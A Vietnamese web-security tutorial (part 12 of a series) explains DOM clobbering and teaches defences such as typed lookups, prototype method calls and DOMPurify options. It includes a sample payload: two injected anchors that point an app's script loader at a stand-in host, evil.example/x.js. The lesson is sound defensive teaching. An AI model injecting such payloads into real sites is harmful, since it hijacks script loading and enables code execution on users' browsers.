Web Security for Frontend Devs · Part 12 — DOM Clobbering
Advanced track: how injected id/name attributes overwrite the globals your JavaScript trusts — no script needed — why a script-blocking CSP does not stop it, and how to defend. With a live demo and exercises.
Phần 12 — Nhánh nâng cao trong series Web Security for Frontend Devs. Trước: Tiếp:
Phần 11 cho thấy một tấn công không cần script làm hỏng mặc định của object. DOM clobbering là anh em của nó phía DOM: HTML kẻ tấn công không chứa JavaScript vẫn ghi đè biến global và property mà code bạn đọc — chỉ qua thuộc tính id và name. Đây là tấn công dùng khi inject được nhưng CSP nghiêm đã đóng cửa với <script>.
Tính năng trình duyệt bị lạm dụng
Vì tương thích cũ, trình duyệt phơi các phần tử DOM có tên thành property:
- Phần tử
id="foo"truy cập được quawindow.foo. - Control form có
name="bar"truy cập quaform.bar. - Nhiều phần tử cùng tên tạo
HTMLCollection, và tên lồng nhau nối chuỗi:window.x.ytrỏ tới một phần tử.
<!-- harmless-looking HTML, zero scripts -->
<a id="config"></a>
window.config; // → the <a> element, not undefined
Đây là truy cập property theo tên. Nó thành lỗ hổng khi code bạn đọc một global/property mà bạn cho rằng hoặc là giá trị của bạn hoặc undefined, và kẻ tấn công inject được phần tử ghi đè nó.
Một mẫu lỗ hổng thực tế
Thành ngữ phổ biến: đọc global config tùy chọn rồi fallback mặc định.
<!-- the app expects this global to be set by a trusted inline script, or be absent -->
<script>
// window.CONFIG may be defined by the server; otherwise undefined
</script>
// ❌ VULNERABLE — trusts a global that the DOM can fabricate
const endpoint = (window.CONFIG && window.CONFIG.url) || '/api/default';
loadScript(endpoint);
Giả sử trang render HTML do người dùng chi phối mà sanitizer cho phép id/name — phổ biến vì trông vô hại. Kẻ tấn công inject:
<a id="CONFIG"></a>
<a id="CONFIG" name="url" href="https://evil.example/x.js"></a>
Giờ window.CONFIG là HTMLCollection, window.CONFIG.url là anchor thứ hai. Vì anchor stringify thành href, code nối chuỗi hoặc đưa vào loadScript bị lái tới URL kẻ tấn công — không cần thẻ script nào.
Mô hình tư duy: DOM clobbering biến không gian tên thành bề mặt tấn công. Kẻ tấn công không chạy code — họ đổi tên đồ đạc để code tin cậy của bạn cầm nhầm object.
Vì sao CSP không cứu bạn ở đây
CSP nghiêm từ Phần 3 chặn script inline và bên thứ ba. DOM clobbering không gửi script — chỉ <a>, <form>, <input>, <img> kèm id/name. Hiệu ứng độc do tính năng truy cập theo tên của trình duyệt tạo ra trên markup vô hại, nên script-src của CSP không liên quan. Đây chính là lý do nó là primitive vượt CSP ưa thích.
Thử ngay — sân chơi DOM clobbering
Inject các đoạn HTML và xem window.CONFIG, tra cứu field form, và kiểm “đây có phải phần tử của tôi?” phản ứng thế nào — rồi bật các cách đọc đã vá và thấy tấn công thất bại.
Mở demo đầy đủ:
Phòng thủ
Phòng thủ 1 — đừng đọc global bạn không định nghĩa rõ
Lấy config từ nơi DOM không thể bịa: export module, const có kiểu, hay một JSON bạn parse — không phải window.SOMETHING.
// ✅ config lives in a module, not on window
import { config } from './config.js';
loadScript(config.url);
Phòng thủ 2 — lấy phần tử bằng document.getElementById + instanceof
Nếu phải tra theo id, dùng API rõ ràng và kiểm kiểu — tên bị clobber thường không phải kiểu bạn mong, hoặc là HTMLCollection:
// ✅ explicit lookup + type guard
const el = document.getElementById('config');
if (el instanceof HTMLScriptElement) {
// safe to read el.src / el.dataset
}
getElementById luôn trả Element | null, không bao giờ HTMLCollection, loại bỏ mẹo nối chuỗi window.x.y.
Phòng thủ 3 — phòng truthy và method prototype
Clobbering còn ghi đè property/method mong đợi trên object truy cập theo tên. Khi đọc từ form hay scope có tên, ưu tiên method DOM không che được:
// ❌ form.submit might be an <input name="submit"> element, not the method
form.submit();
// ✅ borrow the real method
HTMLFormElement.prototype.submit.call(form);
Ý tương tự cho form.length, form.id… — field name="length" ghi đè property.
Phòng thủ 4 — sanitize với allow-list nghiêm (cân nhắc bỏ id/name)
Fix thực cho HTML bị inject giống Phần 2: sanitize. DOMPurify có phòng vệ SANITIZE_DOM, và quan trọng hơn, bạn có thể cấm các thuộc tính cho phép clobbering khi nội dung không cần:
import DOMPurify from 'dompurify';
// SANITIZE_DOM (on by default) blocks clobbering of existing document props;
// dropping id/name removes the named-access surface entirely.
const clean = DOMPurify.sanitize(dirty, {
SANITIZE_NAMED_PROPS: true, // namespaces id/name so they can't clobber
FORBID_ATTR: ['id', 'name'], // strongest if your content doesn't need them
});
container.innerHTML = clean;
SANITIZE_NAMED_PROPS thêm tiền tố cho id/name để không còn va chạm property thật; FORBID_ATTR gỡ hẳn.
Phòng thủ 5 — Trusted Types làm lớp chặn
Như Phần 2, đưa mọi sink HTML qua policy Trusted Types đã audit nghĩa là chuỗi inject thô không tới được innerHTML chưa sanitize.
Checklist phòng tránh
- Coi tra cứu
window.X/document.Xlà không tin cậy nếu có HTML inject vào trang. - Đọc config từ module / JSON parse, không phải global theo tên.
- Lấy phần tử bằng
getElementById+instanceof. - Gọi method DOM qua
Prototype.method.call(el)khi object đến từ scope có tên. - Sanitize HTML inject; bật
SANITIZE_NAMED_PROPShoặc cấmid/name. - Nhớ:
script-srccủa CSP không chặn clobbering — đây là HTML thuần.
Bài tập / Exercises
1. Vì sao getElementById('user') chống clobbering tốt hơn window.user?
Lời giải
getElementById trả Element | null qua API rõ ràng, ổn định kiểu — không bao giờ trả HTMLCollection nối chuỗi mà window.user.something lạm dụng, và không bị một global khác che. Vẫn nên thêm kiểm instanceof trước khi dùng property riêng của phần tử.
2. Với form trên, gì hỏng khi JS gọi loginForm.submit() và sửa thế nào?
Lời giải
loginForm.submit giờ là phần tử <input name="submit">, không phải method submit(), nên gọi sẽ ném “not a function”. Sửa bằng mượn method thật: HTMLFormElement.prototype.submit.call(loginForm).
3. Sanitizer giữ id/name vì designer dùng anchor <h2 id="intro">. Làm sao giữ anchor trong trang mà vẫn diệt bề mặt clobbering?
Lời giải
Bật SANITIZE_NAMED_PROPS của DOMPurify, nó thêm tiền tố cho id/name của user nên anchor vẫn hoạt động trong fragment mà không còn va chạm tên window.* / property code bạn đọc. Hoặc dùng cơ chế khác cho anchor và cấm id/name.
Nâng cao:Trong demo, clobber window.CONFIG.url tới URL kẻ tấn công bằng hai anchor, rồi đổi reader sang getElementById + instanceof và xác nhận hijack thất bại.
Điểm chính
- ghi đè global/property qua thuộc tính
id/nameinject — không cần script. - Lạm dụng truy cập property theo tên của trình duyệt.
script-srccủa CSP không chặn — nên nó là primitive vượt CSP.- Phòng bằng không tin global theo tên, dùng
getElementById+instanceof, mượn method prototype, sanitizeid/name. - Cùng Phần 11, hai tấn công không cần script này hoàn thiện bức tranh: trình duyệt sẽ tin mặc định và tên trừ khi code bạn rõ ràng.
Tiếp theo
Phần 13 — Strict CSP & CSP Bypasses: vì sao CSP allowlist host hầu hết team ship bị vượt — và dạng nonce + 'strict-dynamic' thực sự trụ được.